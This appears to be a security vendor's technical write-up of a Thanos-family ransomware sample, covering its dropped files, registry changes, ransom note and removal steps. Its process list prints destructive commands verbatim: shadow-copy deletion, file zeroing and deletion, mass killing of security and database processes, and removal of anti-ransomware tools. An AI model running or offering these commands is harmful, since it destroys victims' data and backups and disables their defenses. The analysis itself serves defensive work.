Analysis by: Maria Emreen Viray

ALIASES:

MSIL/Thanos.A!tr.ransom (FORTINET)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It drops files as ransom note.

  TECHNICAL DETAILS

File Size: 141,312 bytes
File Type: EXE
Memory Resident: No
Initial Samples Received Date: 24 Dec 2021

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • %User Temp%\{random characters}.exe
  • %User Startup%\reload1.lnk

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

It adds the following processes:

  • "taskkill" /F /IM RaccineSettings.exe
  • "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  • "reg" delete HKCU\Software\Raccine /F
  • "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  • "sc.exe" config Dnscache start= auto
  • "sc.exe" config SQLTELEMETRY start= disabled
  • "sc.exe" config FDResPub start= auto
  • "sc.exe" config SSDPSRV start= auto
  • "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  • "sc.exe" config SstpSvc start= disabled
  • "sc.exe" config upnphost start= auto
  • "sc.exe" config SQLWriter start= disabled
  • "taskkill.exe" /IM mspub.exe /F
  • "taskkill.exe" /IM synctime.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM mysqld.exe /F
  • "taskkill.exe" /IM Ntrtscan.exe /F
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM sqbcoreservice.exe /F
  • "taskkill.exe" /IM firefoxconfig.exe /F
  • "taskkill.exe" /IM isqlplussvc.exe /F
  • "taskkill.exe" /IM encsvc.exe /F
  • "taskkill.exe" /IM agntsvc.exe /F
  • "taskkill.exe" /IM onenote.exe /F
  • "taskkill.exe" /IM tbirdconfig.exe /F
  • "taskkill.exe" /IM excel.exe /F
  • "taskkill.exe" /IM thebat.exe /F
  • "taskkill.exe" /IM CNTAoSMgr.exe /F
  • "taskkill.exe" /IM PccNTMon.exe /F
  • "taskkill.exe" /IM dbeng50.exe /F
  • "taskkill.exe" /IM msaccess.exe /F
  • "taskkill.exe" /IM steam.exe /F
  • "taskkill.exe" /IM sqlwriter.exe /F
  • "taskkill.exe" /IM thebat64.exe /F
  • "taskkill.exe" /IM outlook.exe /F
  • "taskkill.exe" /IM ocomm.exe /F
  • "taskkill.exe" /IM tmlisten.exe /F
  • "taskkill.exe" /IM wordpad.exe /F
  • "taskkill.exe" /IM oracle.exe /F
  • "taskkill.exe" /IM msftesql.exe /F
  • "taskkill.exe" /IM infopath.exe /F
  • "taskkill.exe" /IM mysqld-opt.exe /F
  • "taskkill.exe" /IM powerpnt.exe /F
  • "taskkill.exe" /IM sqlagent.exe /F
  • "taskkill.exe" /IM mbamtray.exe /F
  • "taskkill.exe" /IM sqlbrowser.exe /F
  • "taskkill.exe" /IM ocautoupds.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM zoolz.exe /F
  • "taskkill.exe" /IM sqlservr.exe /F
  • "taskkill.exe" /IM ocssd.exe /F
  • "taskkill.exe" IM thunderbird.exe /F
  • "taskkill.exe" /IM visio.exe /F
  • "taskkill.exe" /IM dbsnmp.exe /F
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM xfssvccon.exe /F
  • "taskkill.exe" /IM winword.exe /F
  • "taskkill.exe" /IM mysqld-nt.exe /F
  • "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete() }
  • "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  • "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  • "arp" -a
  • "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  • ping 127.0.0.7 -n 3
  • "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  • "%System%\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "{Malware path and name}
  • "%System%\notepad.exe" %Desktop%\RESTORE_FILES_INFO.txt
  • "%User Temp%\{random characters}.exe" \{local IP address} -d -h -s -f -accepteula -nobanner -c "{Malware path and name}"

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_CURRENT_USER\Software\KEYID\
myKeyID
ID1 = {string}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = YOUR COMPANY IS HACKED AND COMPROMISED

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = YOUR COMPANY IS HACKED AND COMPROMISED

HKEY_CURRENT_USER\Software\Sysinternals\
PsExec
EulaAccepted = 1

Other Details

This Ransomware adds the following registry keys:

HKEY_CURRENT_USER\Software\KEYID

HKEY_CURRENT_USER\Software\Sysinternals\
PsExec

HKEY_CURRENT_USER\Software\KEYID\
myKeyID

Ransomware Routine

This Ransomware appends the following extension to the file name of the encrypted files:

  • .KOUMU

It drops the following file(s) as ransom note:

  • %User Temp%\RESTORE_FILES_INFO.txt
  • %Desktop%\RESTORE_FILES_INFO.txt
  • {Encrypted Directory}\RESTORE_FILES_INFO.txt

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.546.08
FIRST VSAPI PATTERN DATE: 18 Feb 2021
VSAPI OPR PATTERN File: 16.547.00
VSAPI OPR PATTERN Date: 19 Feb 2021

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • TROJ.Win32.TRX.XXPE50FFF051

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Sysinternals\PsExec
    • EulaAccepted = 1
  • In HKEY_CURRENT_USER\Software\KEYID\myKeyID
    • ID1 = {string}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    • LegalNoticeCaption = YOUR COMPANY IS HACKED AND COMPROMISED
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • legalnoticecaption = YOUR COMPANY IS HACKED AND COMPROMISED

Step 5

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • HKEY_CURRENT_USER\Software\KEYID
  • HKEY_CURRENT_USER\Software\Sysinternals\PsExec

Step 6

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\{random characters}.exe
  • %User Startup%\reload1.lnk
  • %User Temp%\RESTORE_FILES_INFO.txt
  • %Desktop%\RESTORE_FILES_INFO.txt
  • {Encrypted Directory}\RESTORE_FILES_INFO.txt

Step 7

Scan your computer with your Trend Micro product to delete files detected as Ransom.MSIL.THANOS.SM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 8

Restore encrypted files from backup.


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